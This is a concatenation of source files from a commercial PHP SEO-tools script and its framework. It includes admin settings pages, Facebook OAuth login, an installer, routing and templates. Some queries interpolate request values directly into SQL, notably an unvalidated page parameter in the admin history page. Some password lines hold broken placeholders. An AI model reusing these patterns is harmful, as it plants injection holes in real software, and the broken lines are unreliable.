return 'l'; } return 'n'; } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Website Advertisement'; $subTitle = "Site Ads Settings"; $fullLayout = 1; $footerAdd = false; $footerAddArr = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST'){ $ad720x90 = escapeTrim($con, $_POST['ad720x90']); $ad250x300 = escapeTrim($con, $_POST['ad250x300']); $ad250x125 = escapeTrim($con, $_POST['ad250x125']); $ad480x60 = escapeTrim($con, $_POST['ad480x60']); $text_ads = escapeTrim($con, $_POST['text_ads']); $query = "UPDATE ads SET ad720x90='$ad720x90', ad250x300='$ad250x300', ad250x125='$ad250x125', ad480x60='$ad480x60', text_ads='$text_ads' WHERE id='1'"; mysqli_query($con, $query); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('Ads Settings saved successfully'); } //Load AD Codes $dbAd = mysqli_query($con, "SELECT * FROM ads where id='1'"); $dbAdRow = mysqli_fetch_array($dbAd); $ad720x90 = Trim($dbAdRow['ad720x90']); $ad250x300 = Trim($dbAdRow['ad250x300']); $ad250x125 = Trim($dbAdRow['ad250x125']); $ad480x60 = Trim($dbAdRow['ad480x60']); $text_ads = Trim($dbAdRow['text_ads']); ?><file_sep><?php defined('BUILDER_CON') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'SimpleX Theme Settings'; $footerAdd = true; $to = array(); $page1 = $page2 = $page3 = ''; if ($_SERVER['REQUEST_METHOD'] == 'POST') { if(isset($_POST['page1'])){ $page1 = 'active'; $to = array_map_recursive( function($item) use ($con) { return escapeTrim($con,$item); }, $_POST['to'] ); //Load theme settings $tempTo = getThemeOptionsDev($con,$themePathName); if(isset($tempTo['custom']['css'])) $to['custom']['css'] = $tempTo['custom']['css']; else $to['custom']['css'] = ''; $to['general']['logo'] = $tempTo['general']['logo']; $to['general']['favicon'] = $tempTo['general']['favicon']; if(isset($_FILES['logoUpload']) && $_FILES['logoUpload']['name'] != ''){ $isUploaded = secureImageUpload($_FILES['logoUpload']); if($isUploaded[0]) $to['general']['logo'] = $isUploaded[1]; else $msg = errorMsgAdmin($isUploaded[1]); } if(isset($_FILES['favUpload']) && $_FILES['favUpload']['name'] != ''){ $isUploaded = secureImageUpload($_FILES['favUpload'],500000,array('png','ico','gif')); if($isUploaded[0]) $to['general']['favicon'] = $isUploaded[1]; else $msg = errorMsgAdmin($isUploaded[1]); } if(isset($_POST['langSwitch'])) $to['general']['langSwitch'] = true; else $to['general']['langSwitch'] = false; if(isset($_POST['sidebar'])) $to['general']['sidebar'] = 'right'; else $to['general']['sidebar'] = 'left'; if(isset($_POST['sSearch'])) $to['general']['sSearch'] = true; else $to['general']['sSearch'] = false; if(isset($_POST['iSearch'])) $to['general']['iSearch'] = true; else $to['general']['iSearch'] = false; if(isset($_POST['browseBtn'])) $to['general']['browseBtn'] = true; else $to['general']['browseBtn'] = false; if(!isset($_POST['topTools'])) $to['general']['topTools'] = $tempTo['general']['topTools']; else $to['general']['topTools'] = $_POST['topTools']; if(!isset($msg)){ $themeStr = arrToDbStr($con,$to); $sqlQ = updateToDb($con,'themes_data',array($themePathName.'_theme' => $themeStr),array('id' => '1')); if($sqlQ) $msg = errorMsgAdmin($sqlQ); else $msg = successMsgAdmin('Theme settings saved successfully'); } } if(isset($_POST['page3'])){ $page3 = 'active'; //Load theme settings $to = getThemeOptionsDev($con,$themePathName); $to['custom']['css'] = escapeTrim($con,$_POST['to']['custom']['css']); $themeStr = arrToDbStr($con,$to); $sqlQ = updateToDb($con,'themes_data',array($themePathName.'_theme' => $themeStr),array('id' => '1')); if($sqlQ) $msg = errorMsgAdmin($sqlQ); else $msg = successMsgAdmin('Theme settings saved successfully'); } }else{ $page1 = 'active'; } //Load theme settings $to = getThemeOptionsDev($con,$themePathName); $toolsList = getSEOToolsName($con); ?><file_sep> //Word Counter function countData() { var myData = $.trim(document.getElementById("data").value); var strTime = 800; if (myData == ""){ sweetAlert(oopsStr, errMsg , "error"); return false; } myData = myData.replace(/\s+/g," "); myData = myData.replace(/\n /, " "); if(myData!="") { document.getElementById("wordCount").innerHTML = myData.split(' ').length; } document.getElementById("charCount").innerHTML = myData.length; $("#result").show(); var pos = $('#result').offset(); $('body,html').animate({ scrollTop: pos.top },strTime); } /* * @author Balaji * @name: A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2019 ProThemes.Biz * */ if(!isset($_POST['tokenKey'])){ $controller = "error"; require(CON_DIR. $controller . '.php'); } $site = raino_trim($_POST['site']); $toolName = raino_trim($_POST['toolName']); $token = raino_trim($_POST['tokenKey']); $tokenKey = raino_trim($_SESSION['getWebSnap']); if(!isset($token)) die(); if($token==null||$token=="") die(); if($tokenKey != $token){ header("Location: ../"); die(); } $_SESSION['getWebSnap'] = "Reset Code"; $site = clean_url($site); $site = "http://$site"; $site = parse_url(Trim($site)); $host = $site['host']; if (file_exists(HEL_DIR."site_snapshot/$host.jpg")) { $file = HEL_DIR."site_snapshot/$host.jpg"; }else { $file = HEL_DIR."site_snapshot/no-preview.png"; } header("Content-type: image/jpg"); header('Content-Disposition: attachment; filename="'.$host.'.jpg"'); readfile("$file"); die();<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ $pageTitle = $lang['RF84']; //'Facebook Oauth'; if(isset($_SESSION[N_APP.'Username'])){ redirectTo($baseURL); die(); } if(!$enable_reg){ header("Location: ". $baseURL); exit(); } if(!$enable_oauth){ header("Location: ". $baseURL); exit(); } // Oauth Facebook define('FB_APP_ID', $oauth_keys['oauth']['fb_app_id']); // Enter your facebook application id define('FB_APP_SECRET', $oauth_keys['oauth']['fb_app_secret']); // Enter your facebook application secret code define('FB_REDIRECT_URI', $oauth_keys['oauth']['fb_redirect_uri']); // Enter your facebook application redirect url //Facebook Oauth Library require_once (LIB_DIR . 'facebook/autoload.php'); $fb = new Facebook\Facebook(array( 'app_id' => FB_APP_ID, 'app_secret' => FB_APP_SECRET )); if($pointOut == 'login'){ // Get the FacebookRedirectLoginHelper $helper = $fb->getRedirectLoginHelper(); $permissions = array('email'); // optional $loginUrl = $helper->getLoginUrl(FB_REDIRECT_URI, $permissions); header('Location: '. $loginUrl); exit(); }else{ // Get the FacebookRedirectLoginHelper $helper = $fb->getRedirectLoginHelper(); try { $accessToken = $helper->getAccessToken(FB_REDIRECT_URI); } catch(Facebook\Exceptions\FacebookResponseException $e) { // When Graph returns an error echo 'Graph returned an error: ' . $e->getMessage(); exit; } catch(Facebook\Exceptions\FacebookSDKException $e) { // When validation fails or other local issues echo 'Facebook SDK returned an error: ' . $e->getMessage(); exit; } if (isset($accessToken)) { // Logged in try { // Returns a `Facebook\FacebookResponse` object $response = $fb->get('/me?fields=id,name,email,first_name,last_name', $accessToken); } catch(Facebook\Exceptions\FacebookResponseException $e) { echo 'Graph returned an error: ' . $e->getMessage(); exit; } catch(Facebook\Exceptions\FacebookSDKException $e) { echo 'Facebook SDK returned an error: ' . $e->getMessage(); exit; } // Returns a `Facebook\GraphNodes\GraphUser` collection $user = $response->getGraphUser(); if (!empty($user)){ $client_name = $user['name']; $client_id = $user['id']; $client_email = $user['email']; $client_plat = 'Facebook'; $row = mysqliPreparedQuery($con, "SELECT * FROM users WHERE oauth_uid=?",'s',array($client_id)); if($row !== false){ $user_username = $row['username']; $db_verified = $row['verified']; if ($db_verified == "2"){ die($lang['RF44']); } else { $_SESSION[N_APP.'Username'] = $user_username; $_SESSION[N_APP.'Token'] = Md5($db_id . $username); $_SESSION[N_APP.'Oauth_uid'] = $client_id; $_SESSION[N_APP.'UserToken'] = passwordHash($db_id . $username); $old_user = 1; header("Location: ". createLink('',true)); exit(); } } else { $new_user = 1; #user not present. $last_id = getLastID($con, 'users'); if ($last_id == '' || $last_id == null){ $username = "User1"; } else { $last_id = $last_id + 1; $username = "User$last_id"; } $_SESSION[N_APP.'Username'] = $username; $_SESSION[N_APP.'Oauth_uid'] = $client_id; $_SESSION[N_APP.'Token'] = Md5($db_id . $username); $_SESSION[N_APP.'UserToken'] = passwordHash($db_id . $username); $nowDate = date('m/d/Y h:i:sA'); $sDate = date('m/d/Y'); $res = insertToDbPrepared($con, 'users', array( 'oauth_uid' => $client_id, 'username' => $username, 'email_id' => $client_email, 'full_name' => $client_name, 'platform' => $client_plat, 'password' => <PASSWORD>, 'verified' => '1', 'picture' => 'NONE', 'date' => $sDate, 'added_date' => $nowDate, 'ip' => $ip )); header("Location: ".createLink('',true)); exit(); } } else{ die($lang['RF87']); } } elseif ($helper->getError()) { // There was an error (user probably rejected the request) echo '<p>Error: ' . $helper->getError(); echo '<p>Code: ' . $helper->getErrorCode(); echo '<p>Reason: ' . $helper->getErrorReason(); echo '<p>Description: ' . $helper->getErrorDescription(); exit; } } die(); ?><file_sep><?php /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ header('HTTP/1.1 404 Not Found', true, 404); die("Page Not Found!"); ?><file_sep><?php /* * @author Balaji * @name Rainbow PHP Framework - PHP Script * @copyright © 2017 ProThemes.Biz * */ function host_info($site) { $ch = curl_init('http://www.iplocationfinder.com/' . clean_url($site)); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13'); $data = curl_exec($ch); preg_match('~ISP.*<~', $data, $isp); preg_match('~Country.*<~', $data, $country); preg_match('~IP:.*<~', $data, $ip); $country = explode(':', strip_tags($country[0])); $country = trim(str_replace('Hide your IP address and Location here', '', $country[1])); if ($country == '') $country = 'Not Available'; $isp = explode(':', strip_tags($isp[0])); $isp = trim($isp[1]); if ($isp == '') $isp = 'Not Available'; $ip = $ip[0]; $ip = trim(str_replace(array( 'IP:', '<', '/label>', '/th>td>', '/td>'), '', $ip)); if ($ip == '') $ip = 'Not Available'; return array($ip,$country,$isp); } ?><file_sep><?php /* * @author Balaji */ error_reporting(1); //ROOT Path define('ROOT_DIR', realpath(dirname(dirname(dirname(__FILE__)))) .DIRECTORY_SEPARATOR); //Application Path define('APP_DIR', ROOT_DIR .'core'.DIRECTORY_SEPARATOR); //Configuration Path define('CONFIG_DIR', APP_DIR .'config'.DIRECTORY_SEPARATOR); //Installer Path define('INSTALL_DIR', ROOT_DIR .'admin'.DIRECTORY_SEPARATOR.'install'.DIRECTORY_SEPARATOR); //Load Configuration & Functions require CONFIG_DIR.'config.php'; require APP_DIR.'functions.php'; //Database Connection $con = dbConncet($dbHost,$dbUser,$dbPass,$dbName); $resDa = mysqli_query($con,"SHOW TABLES LIKE 'site_info'"); if(mysqli_num_rows($resDa) > 0) { echo 'Error! Already tables exists on database! <br />'; die(); } echo 'Installing database tables and queries <br />'; $completed = true; $completed = installMySQLdb($con, INSTALL_DIR.'atozseoinstall.sql'); $admin_user = escapeTrim($con, $_POST['admin_user']); $admin_pass = passwordHash(escapeTrim($con, $_POST['admin_pass'])); $admin_name = escapeTrim($con, $_POST['admin_name']); $admin_reg_date = date('jS F Y'); $admin_reg_ip = $_SERVER['REMOTE_ADDR']; if(insertToDbPrepared($con, 'admin', array( 'user' => $admin_user, 'pass' => $<PASSWORD>, 'admin_name' => $admin_name, 'admin_logo' => 'admin/theme/default/dist/img/admin.jpg', 'admin_reg_date' => $admin_reg_date, 'admin_reg_ip' => $admin_reg_ip ))){ echo 'Error creating administrator record <br />'; $completed = false; } if($completed) echo 'Installation Completed!'; else echo 'Installation Completed with Errors!'; if($completed){ //Clear the Installer Files unlink(INSTALL_DIR.'install.php'); unlink(INSTALL_DIR.'process.php'); unlink(INSTALL_DIR.'finish.php'); unlink(INSTALL_DIR.'atozseoinstall.sql'); unlink(INSTALL_DIR.'upgrade.sql'); unlink(INSTALL_DIR.'upgrade.php'); if(file_exists(INSTALL_DIR.'install.php')) echo '<br /> Alert: Unable to delete installation files.<br /> Manually delete installation folder ("/admin/install/") before accessing your site.'; } die(); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ if(defined('CUSTOM_ROUTE')){ if(!CUSTOM_ROUTE){ stop("No Custom Router Enabled"); } } //$custom_route['Route Path Name'] = "Controller Name"; //Basic Controller Routing //$custom_route['contact'] = "contactus"; //Specific PointOut into Controller Routing //$custom_route['product/update'] = "update"; //Specific Route Path into Specific PointOut Routing //$custom_route['product'] = "product/sub"; //Dynamic PointOut Routing //$custom_route['blog/[:any]'] = "product"; //Hide Real Controller Routing //$custom_route['product'] = "error"; $custom_route['lang/set'] = "ajax/lang"; $custom_route['theme/set'] = "ajax/theme"; $custom_route['templates/preview'] = "ajax/templates"; $custom_route['theme/unset'] = "ajax/theme/unset"; $custom_route['rainbow/track'] = "track"; $custom_route['rainbow/master-js'] = "ajax/master-js"; $custom_route['phpcap/reload'] = "ajax/phpcap/reload"; $custom_route['phpcap/image'] = "ajax/phpcap/image"; $custom_route['verify'] = "ajax/account-verify"; $query = mysqli_query($con, "SELECT * FROM seo_tools WHERE tool_url='$controller'"); if (mysqli_num_rows($query) > 0){ $data = mysqli_fetch_array($query); $tool_show = filter_var($data['tool_show'], FILTER_VALIDATE_BOOLEAN); if($tool_show) { $controller = 'seotools'; $toolUid = $data['uid']; $tool_login = filter_var($data['tool_login'], FILTER_VALIDATE_BOOLEAN); permit($con); $data['tool_name'] = shortCodeFilter($data['tool_name']); $data['meta_title'] = shortCodeFilter($data['meta_title']); $data['meta_des'] = shortCodeFilter($data['meta_des']); $data['meta_tags'] = shortCodeFilter($data['meta_tags']); $data['about_tool'] = shortCodeFilter($data['about_tool']); //Visitors Limit - START if($enable_reg){ if(!isset($_SESSION[N_APP.'UserToken'])){ if($visitors_limit != '0'){ $user_count = getGuestUserCount($con,$ip); if($visitors_limit<$user_count){ $visitWarn = true; redirectTo(createLink('account/login',true)); die(); } } if($tool_login){ $loginWarn = true; redirectTo(createLink('account/login',true)); die(); } } } //Visitors Limit - END } }<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Add User'; $subTitle = 'New User'; $fullLayout = 1; $footerAdd = true; $footerAddArr = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $myValues = array_map_recursive( function($item) use ($con) { return escapeTrim($con,$item); }, $_POST ); $newUser = array_filter($myValues['users']); $newUser['password'] = <PASSWORD>($newUser['password']); $newUser['ip'] = getUserIP(); $newUser['platform'] = 'Direct'; $newUser['oauth_uid'] = '0'; $newUser['verified'] = '1'; $newUser['added_date'] = date('m/d/Y h:i:sA'); $result = mysqli_query($con,"SELECT * FROM users WHERE email_id='".$newUser['email_id']."'"); if(mysqli_num_rows($result) > 0) { $msg = errorMsgAdmin('Email ID already exists'); } else { $result = mysqli_query($con,"SELECT * FROM users WHERE username='".$newUser['username']."'"); if(mysqli_num_rows($result) > 0) { $msg = errorMsgAdmin('Username already taken'); } else { $res = insertToDb($con,'users',$newUser); if($res){ $msg = errorMsgAdmin($res); }else{ header('Location:'.adminLink('manage-users/new-user-success',true)); die(); } } } extract($myValues['users']); } ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2019 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="nav-tabs-custom"> <ul class="nav nav-tabs"> <li class="<?php echo $page1; ?>"><a href="#adminPages" data-toggle="tab">Overview</a></li> <li class="<?php echo $page2; ?>"><a href="#pass-change" data-toggle="tab">Change Username/Password</a></li> <li class="<?php echo $page3; ?>"><a href="#avatar" data-toggle="tab">Avatar</a></li> </ul> <div class="tab-content"> <div class="tab-pane <?php echo $page1; ?>" id="adminPages" > <br /> <?php if(isset($msg)){ echo $msg; }?> <div class="row"> <div class="col-md-2"> <table class="table table-hover table-bordered"> <tbody> <tr> <td><img src="<?php createLink($admin_logo); ?>" alt="Admin Logo" /></td> </tr> </tbody> </table> </div> <div class="col-md-6" style="margin-left: 30px;"> <div class="table-responsive"> <table class="table table-hover table-bordered"> <tbody> <tr> <td style="width: 200px;">Admin Name</td> <td><span><?php echo $admin_name; ?></span></td> </tr> <tr> <td style="width: 200px;">Admin ID</td> <td><span><?php echo $admin_user; ?></span></td> </tr> <tr> <td style="width: 200px;">Registration Date</td> <td><span><?php echo $admin_reg_date; ?></span></td> </tr> <tr> <td style="width: 200px;">Registration IP</td> <td><span><?php echo $admin_reg_ip; ?></span></td> </tr> <tr> <td style="width: 200px;">Last Login Date</td> <td><span><?php echo $admin_last_login_date; ?></span></td> </tr> <tr> <td style="width: 200px;">Last Active IP</td> <td><span><?php echo $admin_last_login_ip; ?></span></td> </tr> </tbody> </table> </div> </div> </div> <div class="box-header"> <!-- tools box --> <h3 class="box-title"> Admin Login History </h3> </div> <br /> <div class="box-body"> <div class="table-responsive"> <table class="table table-striped"> <tbody> <tr> <th>Last Login Date</th> <th>IP</th> <th>Country</th> <th>Browser</th> <th>OS</th> </tr> <?php $rec_limit = 10; if (isset($_GET{'page'})) { //get the current page $page = $_GET{'page'} + 1; $offset = $rec_limit * $page; } else { // show first set of results $page = 0; $offset = 0; } $left_rec = $rec_count - ($page * $rec_limit); //we set the specific query to display in the table $sql = "SELECT * FROM admin_history ORDER BY `id` DESC LIMIT $offset, $rec_limit"; $result = mysqli_query($con, $sql); //we loop through each records while($row = mysqli_fetch_array($result)) { //populate and display results data in each row echo '<tr>'; echo '<td>' . $row['last_date'] . '</td>'; echo '<td>' . $row['ip'] . '</td>'; $admin_country = geoip_country_name_by_addr($gi, $row['ip']); $admin_country = (!empty($admin_country)) ? $admin_country : "Unknown"; $admin_browser = $row['browser']; $admin_browser = parse_user_agent($admin_browser); extract($admin_browser); $admin_browser = (!empty($browser)) ? $browser : "Unknown"; $admin_platform = (!empty($platform)) ? $platform : "Unknown"; echo '<td>' . $admin_country . '</td>'; echo '<td>' . $admin_browser . '</td>'; echo '<td>' . $admin_platform . '</td>'; } echo '</tr>'; echo '</tbody>'; echo '</table> </div>'; //we display here the pagination echo '<ul class="pager">'; if ($left_rec < $rec_limit) { $last = $page - 2; echo @"<li><a href=\"/admin/?route=admin-accs&page=$last\">Previous</a></li>"; } else if ($page == 0) { echo @"<li><a href=\"/admin/?route=admin-accs&page=$page\">Next</a></li>"; } else if ($page > 0) { $last = $page - 2; echo @"<li><a href=\"/admin/?route=admin-accs&page=$last\">Previous</a></li> "; echo @"<li><a href=\"/admin/?route=admin-accs&page=$page\">Next</a></li>"; } echo '</ul>'; ?> </div><!-- /.box-body --> </div> <div class="tab-pane <?php echo $page2; ?>" id="pass-change" > <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)){ echo $msg; }?> <div class="form-group"> <label for="admin_user">Admin ID</label> <input type="email" placeholder="Enter your email id" value="<?php echo $admin_user; ?>" name="admin_user" class="form-control" /> </div> <div class="form-group"> <label for="admin_name">Admin Name</label> <input type="text" placeholder="Enter your page url" value="<?php echo $admin_name; ?>" name="admin_name" class="form-control" /> </div> <div class="form-group"> <label for="new_pass">New Password</label> <input type="password" placeholder="Enter your new password" name="new_pass" class="form-control" /> </div> <div class="form-group"> <label for="retype_pass">Retype Password</label> <input type="password" placeholder="Retype the new password" name="retype_pass" class="form-control" /> </div> <hr /> <div class="form-group"> <label for="old_pass">Old Password</label> <input type="password" placeholder="Enter your old admin panel password" name="old_pass" class="form-control" /> </div> <input type="hidden" name="passChange" value="1" /> <input type="submit" name="save" value="Save" class="btn btn-primary"/> <br /> </div><!-- /.box-body --> </form> </div> <div class="tab-pane <?php echo $page3; ?>" id="avatar" > <br /> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?> <form id="theme_id" method="POST" action="<?php adminLink($controller); ?>" enctype="multipart/form-data"> <div class="form-group"> <label for="logoID">Select image to upload:</label> <div class="controls"> <img src="<?php createLink($admin_logo); ?>" style="text-align:center;"/> <br /><br /> <input type="file" name="logoUpload" id="logoUpload" class="btn btn-default" /> <input type="hidden" name="logoID" id="logoID" value="1" /> <br /> <input type="submit" value="Upload Image" name="submit" class="btn btn-primary" /> </div> <!-- /controls --> </div> <!-- /control-group --> </form> </div> </div> </div> </div> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php geoip_close($gi); geoip_close($giv6); ?> <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <style> .alert-success { background-color: #dff0d8 !important; border-color: #d6e9c6 !important; color: #3c763d !important; } .lineCode{ padding: 5px; } </style> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?> <div class="row"> <div class="col-md-12"> <div class="alert alert-info"> <strong>Note: </strong> Short Codes also supported inside mail templates! </div> <h4>Account Activation - Mail Template</h4> </div> <div class="col-md-8"> <div class="form-group"> <label for="activationSub">Subject</label> <input class="form-control" type="text" name="activationSub" value="<?php echo $activationSub; ?>" /> </div> <div class="form-group"> <label for="activation">Mail Content</label> <textarea id="activation" name="activation" class="form-control"><?php echo $activationMail; ?></textarea> </div> </div> <div class="col-md-4"> <label>Replacement Codes</label> <div class="well alert-success"> <div class="lineCode"><b>{SiteName}</b> - Returns your site name<br /></div> <div class="lineCode"><b>{FullName}</b> - Returns customers name<br /></div> <div class="lineCode"><b>{UserName}</b> - Returns customers username<br /></div> <div class="lineCode"><b>{VerificationUrl}</b> - Returns verification link<br /></div> <div class="lineCode"><b>{UserEmailId}</b> - Returns customers mail id<br /></div> <div class="lineCode"><b>{CustomerIp}</b> - Returns account registered IP<br /></div> </div> </div> <div class="col-md-12"> <br /><hr /><br /><h4>Password Reset - Mail Template</h4><br /> </div> <div class="col-md-8"> <div class="form-group"> <label for="passwordSub">Subject</label> <input class="form-control" type="text" name="passwordSub" value="<?php echo $passwordSub; ?>" /> </div> <div class="form-group"> <label for="password">Mail Content</label> <textarea id="password" name="password" class="form-control"><?php echo $passwordMail; ?></textarea> </div> </div> <div class="col-md-4"> <label>Replacement Codes</label> <div class="well alert-success"> <div class="lineCode"><b>{SiteName}</b> - Returns your site name<br /></div> <div class="lineCode"><b>{FullName}</b> - Returns customers name<br /></div> <div class="lineCode"><b>{UserName}</b> - Returns customers username<br /></div> <div class="lineCode"><b>{NewPassword}</b> - Returns new password<br /></div> <div class="lineCode"><b>{UserEmailId}</b> - Returns customers mail id<br /></div> </div> </div> <div class="col-md-12"> <br /><br /> <input type="submit" name="save" value="Update Templates" class="btn btn-primary"/> <br /><br /> </div> </div> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --> <?php $filebrowserBrowseUrl = createLink('core/library/filemanager/dialog.php?type=2&editor=ckeditor&fldr=',true); $filebrowserUploadUrl = createLink('core/library/filemanager/dialog.php?type=2&editor=ckeditor&fldr=',true); $filebrowserImageBrowseUrl = createLink('core/library/filemanager/dialog.php?type=1&editor=ckeditor&fldr=',true); $footerAddArr[] = <<<EOD <script type="text/javascript"> $(function () { CKEDITOR.replace('activation',{ filebrowserBrowseUrl : '$filebrowserBrowseUrl', filebrowserUploadUrl : '$filebrowserUploadUrl', filebrowserImageBrowseUrl : '$filebrowserImageBrowseUrl', toolbar : 'Basic' }); CKEDITOR.on( 'dialogDefinition', function( ev ) { var dialogName = ev.data.name; var dialogDefinition = ev.data.definition; if ( dialogName == 'link' || dialogName == 'image' ){ dialogDefinition.removeContents( 'Upload' ); } }); CKEDITOR.replace('password',{ filebrowserBrowseUrl : '$filebrowserBrowseUrl', filebrowserUploadUrl : '$filebrowserUploadUrl', filebrowserImageBrowseUrl : '$filebrowserImageBrowseUrl', toolbar : 'Basic' }); CKEDITOR.on( 'dialogDefinition', function( ev ) { var dialogName = ev.data.name; var dialogDefinition = ev.data.definition; if ( dialogName == 'link' || dialogName == 'image' ){ dialogDefinition.removeContents( 'Upload' ); } }); }); </script> EOD; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @theme: Default Style * @copyright © 2017 ProThemes.Biz * */ ?> <style> label{ display: block; } .form-control[readonly]{ background-color: #F4F4F4; } </style> <div class="container main-container"> <div class="row"> <div class="col-md-8 main-index"> <h2 id="title" class="text-center"><?php echo $lang['259']; ?></h2> <br /><br /> <?php if (isset($successMsg)) { echo '<div class="alert alert-success"> <strong>Alert!</strong> '.$successMsg.' <br /> '.$lang['248'].' </div>'; header("Location: ../"); echo '<meta http-equiv="refresh" content="1;url=../">'; } elseif (isset($error)) { echo '<div class="alert alert-error"> <strong>Alert!</strong> '.$error.' </div>'; } if (isset($old_user)) { echo '<br/> <div class="alert alert-info"> <strong>Alert!</strong> Login Success.. '.$lang['248'].' </div>'; header("Location: ../"); echo '<meta http-equiv="refresh" content="1;url=../">'; } else { if(isset($_GET['successInt'])){ ?> <div class="alert alert-success"> <strong>Alert!</strong> <?php echo $lang['250']; ?> </div> <?php } ?> <br /> <form method="POST" action="/?route=oauth&newuser" class="loginme-form"> <div class="modal-body"> <div class="form-group"> <label><?php echo $lang['251']; ?><br /> <input readonly="" style="cursor:not-allowed;" type="text" name="autoname" class="form-control readonly" value="<?php echo $username; ?>"/> </label> </div> <div class="form-group"> <label><?php echo $lang['252']; ?> <br /> <input type="text" name="new_username" class="form-control" /> </label> </div> </div> <input type="hidden" name="user_change" value="<?php echo md5($date.$ip); ?>" /> <div class="modal-footer"> <br /> <button type="submit" class="btn btn-success"><?php echo $lang['8']; ?></button> <a href="/" class="btn btn-danger"><?php echo $lang['253']; ?></a> </div> <?php } ?> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <br /> </div> <?php // Sidebar require_once(THEME_DIR. "sidebar.php"); ?> </div> </div> <br /><file_sep><?php /* * @author Balaji * @name: A to Z SEO Tools - PHP Script * @copyright 2020 ProThemes.Biz * */ function itIsOnline($site){ $curlInit = curl_init($site); curl_setopt($curlInit, CURLOPT_CONNECTTIMEOUT, 20); curl_setopt($curlInit, CURLOPT_TIMEOUT, 20); curl_setopt($curlInit, CURLOPT_HEADER, true); curl_setopt($curlInit, CURLOPT_NOBODY, true); curl_setopt($curlInit, CURLOPT_RETURNTRANSFER, true); curl_setopt($curlInit, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($curlInit); $info = curl_getinfo($curlInit); $response_time = substr($info['total_time'], 0, 4); $http_code = $info['http_code']; curl_close($curlInit); if ($response) return array(true,$response_time,$http_code); return array(false,"No Response","unknown"); } <file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <form method="POST" action="<?php echo $toolOutputURL;?>" onsubmit="return metaData();"> <div class="row"> <div class="col-md-12" style="margin-bottom: 20px;"> <h5><?php echo $lang['114']; ?> <small id="limitBarT"></small></h5> <input type="text" id="metatitle" name="title" class="form-control" placeholder="<?php echo $lang['122']; ?>" /> </div> <div class="col-md-6"> <h5><?php echo $lang['115']; ?> <small id="limitBar"></small></h5> <textarea id="description" name="description" class="form-control" rows="3" placeholder="<?php echo $lang['123']; ?>"></textarea> </div> <div class="col-md-6"> <h5><?php echo $lang['116']; ?></h5> <textarea id="keywords" name="keywords" class="form-control" rows="3" placeholder="<?php echo $lang['124']; ?>"></textarea> </div> </div> <div class="row" style="margin-top: 20px;"> <div class="col-md-6"> <h5><?php echo $lang['117']; ?></h5> <select name="robotsIndex" class="form-control"> <option value="index"><?php echo $lang['118']; ?></option> <option value="noindex"><?php echo $lang['119']; 